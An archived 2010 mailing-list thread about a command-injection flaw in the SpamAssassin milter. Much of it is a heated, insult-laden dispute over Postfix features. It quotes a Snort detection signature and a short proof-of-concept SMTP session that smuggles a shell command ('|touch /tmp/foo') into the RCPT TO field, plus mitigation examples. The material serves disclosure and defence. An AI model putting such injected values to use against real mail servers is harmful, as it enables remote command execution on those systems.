Re: [sa] Re: End of Thread [Was: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt]
On Tue, 9 Mar 2010, Ned Slider wrote: It's clear you either haven't read or haven't understood what Kai wrote, which btw was spot on. More attitude. Yeesh. Kai has an opinion. And in fairness, I give his arguments some serious weight. It's not black-n-white. But this attitude that he/you have the 'best' solution is just yeah YAWN. End of Thread. Hope so.
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Brian wrote: I'm glad you like amavis-new. I found it to scale poorly and a single, common point of failure and fall into the category that is commonly called 'bloat'. It does illustrate all the missing features of Postfix in quite a handy example - so thanks for mentioning it. there's a whole bunch of ways of getting the resilience and performance you require out of amavisd-new. Their list will no doubt accept a polite enquiry.
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
* Kai Schaetzl mailli...@conactive.com: package doesn't. For good reasons. We don't want bloatware and we may want updates on that plugin much more often then we want updates on the MTA. I really do not want to update my MTA time and again because it's got a new policy feature. Postfix has two interfaces for this, milter and policy daemons. And content_filter and smtpd_proxy_filter -- Ralf Hildebrandt Geschäftsbereich IT | Abteilung Netzwerk Charité - Universitätsmedizin Berlin Campus Benjamin Franklin Hindenburgdamm 30 | D-12203 Berlin Tel. +49 30 450 570 155 | Fax: +49 30 450 570 962 ralf.hildebra...@charite.de | http://www.charite.de
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On 2010-03-09 13:51, Brian wrote: On Tue, 2010-03-09 at 13:17 +0100, Ralf Hildebrandt wrote: * Brian brel.astersik100...@copperproductions.co.uk: In the year 2010 it is not unreasonable to expect the MTA that takes responsibility for accepting a message to make reasonable checks about the validity or content of that message. Postfix can do this either via the milter interface OR the smtpd_proxy_filter It's very easy. GROAN *** WE KNOW THAT! Look at the title and read the post Ralf. The point is you need to use a milter or proxy/policy daemon to do this with Postfix. The point being 'Why does it not natively support this functionality in the year 2010?' Answer: Because Weitse (AKA 'God') says so, so you all jump and say 'yes sir, no sir, three bags full sir'. So Ralf - author of 'The Postfix Book', can you please now tell me how to get Postfix to reject mail before it accepts it and gives a 250 - When Spamassassin tags it as spam? It's 2010, spam accounts for 9x% of mail so please share with me how you can do this with just a minor config change with Postfix. The caveat you can't use the milter, you can't use 'amavis-crashalot' and a 250 must not be given if Spamassassin marks it as spam. I can't find it in your book anywhere old chap.. I'm happy to stay on the Postfix 'merry-go-round' for an answer, or we can just agree Postfix can't easily do this and move on and stop flogging this dead horse :-) good idea - Here, its totally off topic. Move it to Postfix lists
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 2010-03-09 at 13:00 +, Robert Brooks wrote: Brian wrote: On Tue, 2010-03-09 at 13:17 +0100, Ralf Hildebrandt wrote: * Brian brel.astersik100...@copperproductions.co.uk: In the year 2010 it is not unreasonable to expect the MTA that takes responsibility for accepting a message to make reasonable checks about the validity or content of that message. Postfix can do this either via the milter interface OR the smtpd_proxy_filter It's very easy. So Ralf - author of 'The Postfix Book', can you please now tell me how to get Postfix to reject mail before it accepts it and gives a 250 - When Spamassassin tags it as spam? personally I use smtpd_proxy_filter to do EXACTLY this. And without an external program.. ? Clue 'YOU CAN'T'.
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Brian wrote: On Tue, 2010-03-09 at 14:04 +0100, Yet Another Ninja wrote: to stay on the Postfix 'merry-go-round' for an answer, or we can just agree Postfix can't easily do this and move on and stop flogging this dead horse :-) good idea - Here, its totally off topic. Move it to Postfix lists Better idea, just drop it! Postfix lacks features and it's a fair statement. It's fair to say Postfix lacks features only you seem to want because everyone else understands how to reject mail in Postfix. There are enough arse lickers here without going to the Temple of Weiste to visit the disciples without the socks. Perhaps if people stopped kissing arse and grovelling so much Postfix would have some sensible features - but that ain't gonna happen any time soon. [Rhetorical] - why do you feel the need to bring that sort of offensive tone to a public mailing list?
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 2010-03-09 at 13:24 +, Robert Brooks wrote: Brian wrote: On Tue, 2010-03-09 at 13:00 +, Robert Brooks wrote: Brian wrote: On Tue, 2010-03-09 at 13:17 +0100, Ralf Hildebrandt wrote: * Brian brel.astersik100...@copperproductions.co.uk: In the year 2010 it is not unreasonable to expect the MTA that takes responsibility for accepting a message to make reasonable checks about the validity or content of that message. Postfix can do this either via the milter interface OR the smtpd_proxy_filter It's very easy. So Ralf - author of 'The Postfix Book', can you please now tell me how to get Postfix to reject mail before it accepts it and gives a 250 - When Spamassassin tags it as spam? personally I use smtpd_proxy_filter to do EXACTLY this. And without an external program.. ? Clue 'YOU CAN'T'. so your objection is that there's an external program between Postfix and Spamassasin? Personally I find amavisd-new does a fine job. That Postfix doesn't directly present an email directly to spamassassin is fine with me, since I wish to do a bunch of other checks (AV for instance). Do I object to there being a program to interface Postfix to Spamassassin - not necessarily. It would be nicer to not have to do it this way and the clue as to why is in the title of the thread. Postfix remains an MTA for the 1990's as it is, but that's just a view. If 9x% of the traffic an MTA gets to see is unwanted SPAM, it's not unreasonable to expect a solid and reliable built in mechanism to reject it. It's a Postfix ethos to not accept mail for 'x' reason but the old 'it's only an MTA' arguement comes out time and time again by a small group of people who are so far up the arse of WT, you would think they were his piles! Put it this way. I were buying a cheap car 20 years ago I would have expected to add my own alarm and immobiliser to deal with threats and vulnerabilities - after all a car is just a car, not a security system. In 2010 even a cheap car has a built in immobiliser as it has adapted to the threat and expectations of customers. I'm glad you like amavis-new. I found it to scale poorly and a single, common point of failure and fall into the category that is commonly called 'bloat'. It does illustrate all the missing features of Postfix in quite a handy example - so thanks for mentioning it. This thread has run on past it's bedtime and has already degenerated beyond useful to Spamassassin users. I'm sure the asshats and asslickers will continue to populate it and argue the toss, but the facts are stark. Postfix lacks basic features for the age. Put it side by side with Exim and the 'it's only an MTA' thing falls flat on it's face. Good luck squabbling about it girls LOL.
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Brian wrote on Tue, 09 Mar 2010 06:51:45 +:
Yes, but that does not answer my question {and is once more Postfix
biased} AFAIK Postfix is totally unable to reject mail at SMTP time that
Spamassassin decides IS SPAM without the aid of a milter or policy
deamon of some kind.
You have a very simplistic view on how mail transportation works and maybe
on how software works.
First: Postfix is a M Transport A and not a M Rejection A. It's common
practice in software design to have plugins do work that the core
package doesn't. For good reasons. We don't want bloatware and we may want
updates on that plugin much more often then we want updates on the MTA. I
really do not want to update my MTA time and again because it's got a new
policy feature. Postfix has two interfaces for this, milter and policy
daemons. That's more than other MTA's have and gives you just every option
you want to have. It's the only correct way to do this.
Second: you are completely misguided in your wish to reject mail after
SMTP data stage. I gather you have a biblical tooth-for-tooth approach
here. This is not good guidance. It does not make any sense to process a
complete message and then reject it. If it's not done correctly it even
violates RFCs. Doing that processing at the SMTP stage may be feasible for
home and soho use, but not for ISP use. Processing a message takes CPU
power and precious SMTP time. Doing that at SMTP stage means you cannot
take in as much mail as you could. It also means that the sending MTA
cannot send as much mail as it could. So, only disadvantages for everyone,
and still *no* advantage. There are other reasons not to do this, for
instance legal ones.
The idea is not to punish the other side because it sends spam. You do
not only not punish the other side, you punish yourself. The idea behind a
rejection at SMTP stage is twofold: avoid unnecessary processing and avoid
unncessary traffic. None of that is achieved if you take a whole message,
scan it and reject it at SMTP stage. So, what a clever mail system does is
reject as much spam as it possibly can without getting too many FPs by
technical and policy reasons and queue the remaining, say, 10% for full
message inspection. That's the only effective way to deal with this on a
larger scale.
Kai
--
Get your web at Conactive Internet Services: http://www.conactive.com
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Brian wrote: On Tue, 2010-03-09 at 13:00 +, Robert Brooks wrote: Brian wrote: On Tue, 2010-03-09 at 13:17 +0100, Ralf Hildebrandt wrote: * Brian brel.astersik100...@copperproductions.co.uk: In the year 2010 it is not unreasonable to expect the MTA that takes responsibility for accepting a message to make reasonable checks about the validity or content of that message. Postfix can do this either via the milter interface OR the smtpd_proxy_filter It's very easy. So Ralf - author of 'The Postfix Book', can you please now tell me how to get Postfix to reject mail before it accepts it and gives a 250 - When Spamassassin tags it as spam? personally I use smtpd_proxy_filter to do EXACTLY this. And without an external program.. ? Clue 'YOU CAN'T'. so your objection is that there's an external program between Postfix and Spamassasin? Personally I find amavisd-new does a fine job. That Postfix doesn't directly present an email directly to spamassassin is fine with me, since I wish to do a bunch of other checks (AV for instance).
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 2010-03-09 at 14:45 +0100, Ralf Hildebrandt wrote: * Brian brel.astersik100...@copperproductions.co.uk: So Ralf - author of 'The Postfix Book', can you please now tell me how to get Postfix to reject mail before it accepts it and gives a 250 - When Spamassassin tags it as spam? Well, I'm using amavisd-new for that, since I'm also scanning the mails for viruses: smtpd pass - - - - - smtpd -o receive_override_options=no_address_mappings -o smtpd_proxy_filter=[127.0.0.1]:10025 -o smtpd_proxy_options=speed_adjust and in amavisd-new I'm using: $final_spam_destiny = D_REJECT; And the bit where I said 'not using amavis / policy deamon / milter' escaped you where? For someone that wrote a book you don't seem to read well ;-)
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
* Brian brel.astersik100...@copperproductions.co.uk: In the year 2010 it is not unreasonable to expect the MTA that takes responsibility for accepting a message to make reasonable checks about the validity or content of that message. Postfix can do this either via the milter interface OR the smtpd_proxy_filter It's very easy. -- Ralf Hildebrandt Geschäftsbereich IT | Abteilung Netzwerk Charité - Universitätsmedizin Berlin Campus Benjamin Franklin Hindenburgdamm 30 | D-12203 Berlin Tel. +49 30 450 570 155 | Fax: +49 30 450 570 962 ralf.hildebra...@charite.de | http://www.charite.de
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Am 09.03.2010 13:17, schrieb Ralf Hildebrandt: * Brian brel.astersik100...@copperproductions.co.uk: In the year 2010 it is not unreasonable to expect the MTA that takes responsibility for accepting a message to make reasonable checks about the validity or content of that message. Postfix can do this either via the milter interface OR the smtpd_proxy_filter It's very easy. Hi Ralf, think -x is temp safe with for small tests if using reject_non_fqdn_recipient i.e smtpd_recipient_restrictions = reject_unknown_recipient_domain, reject_non_fqdn_recipient, permit_mynetworks, --test mail from: 250 2.1.0 Ok rcpt to: root+:|touch /tmp/foo 504 5.5.2 root+:|touch /tmp/foo: Recipient address rejected: need fully-qualified address 221 2.0.0 Bye anyway the code should be fixed asap running without -x should be ok temp too as it will use the default spamassassin user config i wrote a bug to savannah -- Best Regards MfG Robert Schetterer Germany/Munich/Bavaria
Re: [sa] Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 9 Mar 2010, Brian wrote: I'm happy to stay on the Postfix 'merry-go-round' for an answer, or we can just agree Postfix can't easily do this and move on and stop flogging this dead horse :-) I use Mail Avenger for a front end SMTP Says it all - Charles
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
* Brian brel.astersik100...@copperproductions.co.uk: So Ralf - author of 'The Postfix Book', can you please now tell me how to get Postfix to reject mail before it accepts it and gives a 250 - When Spamassassin tags it as spam? Well, I'm using amavisd-new for that, since I'm also scanning the mails for viruses: smtpd pass - - - - - smtpd -o receive_override_options=no_address_mappings -o smtpd_proxy_filter=[127.0.0.1]:10025 -o smtpd_proxy_options=speed_adjust and in amavisd-new I'm using: $final_spam_destiny = D_REJECT; -- Ralf Hildebrandt Geschäftsbereich IT | Abteilung Netzwerk Charité - Universitätsmedizin Berlin Campus Benjamin Franklin Hindenburgdamm 30 | D-12203 Berlin Tel. +49 30 450 570 155 | Fax: +49 30 450 570 962 ralf.hildebra...@charite.de | http://www.charite.de
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Brian wrote: And the bit where I said 'not using amavis / policy deamon / milter' escaped you where? For someone that wrote a book you don't seem to read well ;-) I want you to shoot that target *pulls out gun* Without a gun *pulls out crossbow* Without a crossbow *pulls out bow* No archery *pulls out camera* No pictures What exactly *DO* you want?? Write you own MTA then. - -- David Morton morto...@dgrmm.net Morton Software Design http://www.dgrmm.net - Ruby on Rails PHP Applications Maia Mailguard http://www.maiamailguard.com- Spam management for mail servers -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.7 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iD8DBQFLllmwUy30ODPkzl0RAl2YAJ90Xyb6A+1u9XBNl/OWCsUQKVxcvwCgz7lb OzHjCCJ0Fsg4uo4Mp68KrWw= =+Rsw -END PGP SIGNATURE-
Re: End of Thread [Was: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt]
Brian wrote:
On Tue, 2010-03-09 at 12:35 +0100, Kai Schaetzl wrote:
Brian wrote on Tue, 09 Mar 2010 06:51:45 +:
Yes, but that does not answer my question {and is once more Postfix
biased} AFAIK Postfix is totally unable to reject mail at SMTP time that
Spamassassin decides IS SPAM without the aid of a milter or policy
deamon of some kind.
You have a very simplistic view on how mail transportation works and maybe
on how software works.
First: Postfix is a M Transport A and not a M Rejection A. It's common
practice in software design to have plugins do work that the core
package doesn't.
YAWN - it's not about how software is constructed or what it does, but
more about what Postfix is incapable of doing and the old stock trollop
that is rolled out 'That's not the job of the MTA'. That answer was just
about good enough in the 1990's, but it's lame now.
It's clear you either haven't read or haven't understood what Kai wrote,
which btw was spot on.
End of Thread.
Re: End of Thread [Was: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt]
On Tue, 2010-03-09 at 12:16 +, Ned Slider wrote:
Brian wrote:
On Tue, 2010-03-09 at 12:35 +0100, Kai Schaetzl wrote:
Brian wrote on Tue, 09 Mar 2010 06:51:45 +:
Yes, but that does not answer my question {and is once more Postfix
biased} AFAIK Postfix is totally unable to reject mail at SMTP time that
Spamassassin decides IS SPAM without the aid of a milter or policy
deamon of some kind.
You have a very simplistic view on how mail transportation works and maybe
on how software works.
First: Postfix is a M Transport A and not a M Rejection A. It's common
practice in software design to have plugins do work that the core
package doesn't.
YAWN - it's not about how software is constructed or what it does, but
more about what Postfix is incapable of doing and the old stock trollop
that is rolled out 'That's not the job of the MTA'. That answer was just
about good enough in the 1990's, but it's lame now.
It's clear you either haven't read or haven't understood what Kai wrote,
which btw was spot on.
End of Thread.
It's clear that you arn't able to answer the question. Fact, Postfix
lacks features.
End of thread
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 2010-03-09 at 12:35 +0100, Kai Schaetzl wrote:
Brian wrote on Tue, 09 Mar 2010 06:51:45 +:
Yes, but that does not answer my question {and is once more Postfix
biased} AFAIK Postfix is totally unable to reject mail at SMTP time that
Spamassassin decides IS SPAM without the aid of a milter or policy
deamon of some kind.
You have a very simplistic view on how mail transportation works and maybe
on how software works.
First: Postfix is a M Transport A and not a M Rejection A. It's common
practice in software design to have plugins do work that the core
package doesn't.
YAWN - it's not about how software is constructed or what it does, but
more about what Postfix is incapable of doing and the old stock trollop
that is rolled out 'That's not the job of the MTA'. That answer was just
about good enough in the 1990's, but it's lame now.
In the year 2010 it is not unreasonable to expect the MTA that takes
responsibility for accepting a message to make reasonable checks about
the validity or content of that message. This is very much a 1980's
programming view of telling the user what they can have, rather than
implementing the basic features the user requires.
It's interesting to note that Barracuda Networks had to write their own
MTA* to put in front of Postfix to support all the features it could not
offer.
Exim seems to offer far more than Postfix will ever bleat about
supporting but perhaps the University of Cambridge have a 'simplistic
view on how mail transportation ... and software works'
This is all very OT and pointless. Anyone who has dealt with Postfix in
terms of years knows all the flaws, such as rejecting message with
Spamassassin at SMTP needs a milter/PD - and that this milter has (on
top of a few minor bugs) now been found to have a serious vulnerability.
*I use the term 'write their own mta' in the loosest sense of the word
as I have been unable to source the origin of the BSMTP that they use.
Please feel free to carry on flogging a dead horse ;-)
EOT (was: Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt)
On Tue, 2010-03-09 at 13:20 +, Brian wrote:
Move it to Postfix lists
Better idea, just drop it! Postfix lacks features and it's a fair
statement.
Brian, you just missed your opportunity to do what you propose.
There are enough arse lickers here without going to the Temple of Weiste
to visit the disciples without the socks.
Perhaps if people stopped kissing arse and grovelling so much Postfix
would have some sensible features - but that ain't gonna happen any time
soon.
This was uncalled for. There is absolutely no reason for foul language
in this thread. Stop it. And feel free to unsubscribe, if there are too
many arse lickers around here for your delicate self.
End of Thread.
--
char *t=\10pse\0r\0dtu...@ghno\x4e\xc8\x79\xf4\xab\x51\x8a\x10\xf4\xf4\xc4;
main(){ char h,m=h=*t++,*x=t+2*h,c,i,l=*x,s=0; for (i=0;il;i++){ i%8? c=1:
(c=*++x); c128 (s+=h); if (!(h=1)||!t[s+h]){ putchar(t[s]);h=m;s=0; }}}
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 2010-03-09 at 13:17 +0100, Ralf Hildebrandt wrote: * Brian brel.astersik100...@copperproductions.co.uk: In the year 2010 it is not unreasonable to expect the MTA that takes responsibility for accepting a message to make reasonable checks about the validity or content of that message. Postfix can do this either via the milter interface OR the smtpd_proxy_filter It's very easy. GROAN *** WE KNOW THAT! Look at the title and read the post Ralf. The point is you need to use a milter or proxy/policy daemon to do this with Postfix. The point being 'Why does it not natively support this functionality in the year 2010?' Answer: Because Weitse (AKA 'God') says so, so you all jump and say 'yes sir, no sir, three bags full sir'. So Ralf - author of 'The Postfix Book', can you please now tell me how to get Postfix to reject mail before it accepts it and gives a 250 - When Spamassassin tags it as spam? It's 2010, spam accounts for 9x% of mail so please share with me how you can do this with just a minor config change with Postfix. The caveat you can't use the milter, you can't use 'amavis-crashalot' and a 250 must not be given if Spamassassin marks it as spam. I can't find it in your book anywhere old chap.. I'm happy to stay on the Postfix 'merry-go-round' for an answer, or we can just agree Postfix can't easily do this and move on and stop flogging this dead horse :-)
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 2010-03-09 at 14:04 +0100, Yet Another Ninja wrote: to stay on the Postfix 'merry-go-round' for an answer, or we can just agree Postfix can't easily do this and move on and stop flogging this dead horse :-) good idea - Here, its totally off topic. Move it to Postfix lists Better idea, just drop it! Postfix lacks features and it's a fair statement. There are enough arse lickers here without going to the Temple of Weiste to visit the disciples without the socks. Perhaps if people stopped kissing arse and grovelling so much Postfix would have some sensible features - but that ain't gonna happen any time soon.
Re: End of Thread [Was: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt]
Brian wrote on Tue, 09 Mar 2010 12:53:31 +: End of thread Obvbiously not for you. Well. Thank you so much for educating us clueless people. Thank you and good night. Kai -- Get your web at Conactive Internet Services: http://www.conactive.com
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 2010-03-09 at 13:38 +, Ned Slider wrote: Brian wrote: On Tue, 2010-03-09 at 14:04 +0100, Yet Another Ninja wrote: to stay on the Postfix 'merry-go-round' for an answer, or we can just agree Postfix can't easily do this and move on and stop flogging this dead horse :-) good idea - Here, its totally off topic. Move it to Postfix lists Better idea, just drop it! Postfix lacks features and it's a fair statement. It's fair to say Postfix lacks features only you seem to want because everyone else understands how to reject mail in Postfix. They do? Again - without using a milter or Policy Deamon remind me how postfix can reject mail c/o spamassassin before it accepts it? Be my guest. As you've already told me 'everyone else understands how to reject mail in Postfix' perhaps you Ned would just answer that for me? It's OK to say 'it can't' and that it lacks this feature. There are enough arse lickers here without going to the Temple of Weiste to visit the disciples without the socks. Perhaps if people stopped kissing arse and grovelling so much Postfix would have some sensible features - but that ain't gonna happen any time soon. [Rhetorical] - why do you feel the need to bring that sort of offensive tone to a public mailing list? And you think you have the right to declare other peoples threads as dead? WTF do you think *you* are just because you don't like what is written?
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Brian wrote: On Tue, 2010-03-09 at 13:17 +0100, Ralf Hildebrandt wrote: * Brian brel.astersik100...@copperproductions.co.uk: In the year 2010 it is not unreasonable to expect the MTA that takes responsibility for accepting a message to make reasonable checks about the validity or content of that message. Postfix can do this either via the milter interface OR the smtpd_proxy_filter It's very easy. So Ralf - author of 'The Postfix Book', can you please now tell me how to get Postfix to reject mail before it accepts it and gives a 250 - When Spamassassin tags it as spam? personally I use smtpd_proxy_filter to do EXACTLY this.
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, Mar 09, 2010 at 08:22:41AM -0600, David Morton wrote: What exactly *DO* you want?? He's a well known troll here, yet for some reason people want to amuse him and fill out the list with pointless arguments. PLEASE ignore him, since noone has taken the job of unsubscribing him yet.
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Kai Schaetzl wrote:
Brian wrote on Tue, 09 Mar 2010 06:51:45 +:
Yes, but that does not answer my question {and is once more Postfix
biased} AFAIK Postfix is totally unable to reject mail at SMTP time that
Spamassassin decides IS SPAM without the aid of a milter or policy
deamon of some kind.
You have a very simplistic view on how mail transportation works and maybe
on how software works.
First: Postfix is a M Transport A and not a M Rejection A. It's common
practice in software design to have plugins do work that the core
package doesn't. For good reasons. We don't want bloatware and we may want
updates on that plugin much more often then we want updates on the MTA.
Kai, I think it is you who has a simplistic view of how mail
transportation works.
Yes it is true that MTA's need to support plugins. But they need to do
it for a different reason - there are ideas that need to be tested out.
Take for example greylisting. The fact is that when greylisting was
first proposed, nobody wanted it in the MTA. It was too new, and people
did not know how it would work out in practice. There were stability
concerns and concerns with how large round-robin mailserver arrays would
handle it.
Thus it was the Right Thing to implement greylisting in a milter when it
was first proposed.
The same thing goes for issuing REJECTs during the data phase of the
SMTP transaction. The same issues and concerns applied.
However, once these techniques were proven out in practice, at that
point CONTINUING to keep them separated in a plugin or milter becomes
a liability. You now have the big concern that since the development
of the MTA and the milter/plugin proceeds separately, you can have
sync problems where you make a chance in the MTA and the plugin breaks.
Sure, the plugin group may correct the problem but that is not a lot
of consolation to the admin who just happens to regenerate or update
his servers during the time that the plugin is broken and a patch is
in process. And what if the plugin author is tired of working on it
and the plugin project - which is providing a valuable service - starts
to languish?
There have been many plugins and milters developed over the years that
have proven out to be, in a word, stupid. That is why it was a good
thing that they were never part of the MTA code. In that case it was
good to keep them separate. But, there's also many plugins that have
proven out to be critical and useful, and the MTA benefits when that
code is folded into the MTA.
The development and user community can get a sense of how these things
can be separated, and what a good separation is. For example it's clear
that spam content-filtering is far to complex to insert into an MTA
that's why it's good to have a separate project, like SA or dspam or
something else. But, simply dropping the SMTP transaction in the middle
of a data phase due to certain conditions being met - perhaps a keyword
in the body of the message, perhaps a slow or failed DNS lookup of the
sender's IP - that is not complex and has proven out over time to
be fine, and really should be part of the MTA for stability reasons.
I
really do not want to update my MTA time and again because it's got a new
policy feature. Postfix has two interfaces for this, milter and policy
daemons. That's more than other MTA's have and gives you just every option
you want to have. It's the only correct way to do this.
No, it's not. There's plenty of correct ways to separate new/untested
functionality from the core proven/tested functionality in an MTA. Your
trying to frame an argument of where you want this dividing line based
on the capabilities of existing code, which is stupid. You are NOT
taking an unbiased look at all of the tasks that a modern mailserver
needs to do and trying to make a logical division of those tasks, then
modifying the MTA code to suit the division, which is the right way to
do it. Instead you are taking some structural decisions made in the
design of an MTA years ago and using them to frame your world view of
how e-mail works in the modern world.
It's no wonder your frustrated. Your like the guy with the Model T
trying to argue that highway speed limits should be 35Mph because that's
as fast as a Model T ever was able to go - and the Model T was the
greatest car ever built and every car following it should be just like it.
Second: you are completely misguided in your wish to reject mail after
SMTP data stage.
No, you are completely misguided in your wish to NOT do the only logical
thing to do to handle spam.
I gather you have a biblical tooth-for-tooth approach
here. This is not good guidance. It does not make any sense to process a
complete message and then reject it. If it's not done correctly it even
violates RFCs. Doing that processing at the SMTP stage may be feasible for
home and soho use, but not for ISP use.
Also quite wrong.
Processing a message takes CPU
power and precious SMTP
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 2010-03-09 at 16:33 +0200, Henrik K wrote: On Tue, Mar 09, 2010 at 08:22:41AM -0600, David Morton wrote: What exactly *DO* you want?? He's a well known troll here, yet for some reason people want to amuse him and fill out the list with pointless arguments. PLEASE ignore him, since noone has taken the job of unsubscribing him yet. He has a point though, and why is it when people don't agree with someone the troll label comes out, FFS get over your selves. People always only half read, and then go half cocked, its called life, get used to it. FWIW I agree about the well known postfix fanbois, it is decent software, but its not the pot of gold they think it is, it lacks many features and I was told where to go when suggesting them. I also got no response or help from Wietse or any other 'in the know' people with a query recently, but because I considered it a bug, I guess thats why :) attachment: stock_smiley-1.png
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Noel Butler wrote: He has a point though, and why is it when people don't agree with someone the troll label comes out, FFS get over your selves. People always only half read, and then go half cocked, its called life, get used to it. In this case the troll label is more of an understatement, as there are some pretty clear indications that was the second (at least) psuedo-identity adopted by a person who had already been formally warned and then ejected from SA-USERS for inappropriate behavior. Bob --
Re: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Tue, 2010-03-09 at 15:22 -0800, Bob O'Brien wrote: Noel Butler wrote: He has a point though, and why is it when people don't agree with someone the troll label comes out, FFS get over your selves. People always only half read, and then go half cocked, its called life, get used to it. In this case the troll label is more of an understatement, as there are some pretty clear indications that was the second (at least) psuedo-identity adopted by a person who had already been formally warned and then ejected from SA-USERS for inappropriate behavior. Said the liar from Barracuda - aka 'emailreg.org'. I may be hated in the Postfix/Spamassassin groups Bob - but you and Barracuda are hated the world over. I can't top that! Still, nice to watch you all whine about this and drag the topic on and on and on..
Fwd: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
just a heads up: I don't know if there is a problem with SA milter, but there is a snort signature for it now. Original Message Subject: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt Date: Mon, 8 Mar 2010 13:03:52 + From: Kevin Ross kevros...@googlemail.com To: emerging-s...@emergingthreats.net emerging-s...@emergingthreats.net, Matt Jonkman jonk...@jonkmans.com alert tcp $EXTERNAL_NET any - $HOME_NET 25 (msg:ET EXPLOIT Possible SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt; flow:established,to_server; content:to|3A|; nocase; content:root+|3A|\|7C|; nocase; within:15; classtype:attempted-user; reference:url,www.securityfocus.com/bid/38578 http://www.securityfocus.com/bid/38578; reference:url,seclists.org/fulldisclosure/2010/Mar/140 http://seclists.org/fulldisclosure/2010/Mar/140; sid:1324412; rev:1;) Kev __ This email has been scanned and certified safe by SpammerTrap(r). For Information please see http://www.secnap.com/products/spammertrap/ __ ___ Emerging-sigs mailing list emerging-s...@emergingthreats.net http://lists.emergingthreats.net/mailman/listinfo/emerging-sigs Support Emerging Threats! Get your ET Stuff! Tshirts, Coffee Mugs and Lanyards http://www.emergingthreats.net/index.php/support-et-and-buy-et-schwag.html
Re: Fwd: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Ned Slider wrote: Brian wrote: The key is this: If spamass-milter is run with the expand flag (-x option) it runs a popen() including the attacker supplied recipient (RCPT TO). POC IS $ nc localhost 25 220 ownthabox ESMTP Postfix (Ubuntu) mail from: me () me com 250 2.1.0 Ok rcpt to: root+:|touch /tmp/foo 250 2.1.5 Ok $ ls -la /tmp/foo -rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo Easily mitigated, you shouldn't be accepting mail to non-FQDN addresses mail from: n...@example.com 250 2.1.0 Ok rcpt to: root+:|touch /tmp/foo 504 5.5.2 root+:|touch /tmp/foo: Recipient address rejected: need fully-qualified address quit 221 2.0.0 Bye Connection closed by foreign host. That's Postfix 2.3.3 on RHEL5 BTW :-) $ rpm -q postfix postfix-2.3.3-2.1.el5_2.x86_64
Re: Fwd: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Mon, 2010-03-08 at 20:16 +, Ned Slider wrote:
Brian wrote:
On Mon, 2010-03-08 at 14:08 -0500, Michael Scheidell wrote:
just a heads up: I don't know if there is a problem with SA milter, but
there is a snort signature for it now.
Original Message
Subject: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote
Arbitrary Command Injection Attempt
Date: Mon, 8 Mar 2010 13:03:52 +
From: Kevin Ross kevros...@googlemail.com
To:emerging-s...@emergingthreats.net
emerging-s...@emergingthreats.net, Matt Jonkman jonk...@jonkmans.com
alert tcp $EXTERNAL_NET any - $HOME_NET 25 (msg:ET EXPLOIT Possible
SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt;
flow:established,to_server; content:to|3A|; nocase;
content:root+|3A|\|7C|; nocase; within:15; classtype:attempted-user;
reference:url,www.securityfocus.com/bid/38578
http://www.securityfocus.com/bid/38578;
reference:url,seclists.org/fulldisclosure/2010/Mar/140
http://seclists.org/fulldisclosure/2010/Mar/140; sid:1324412; rev:1;)
Kev
The key is this:
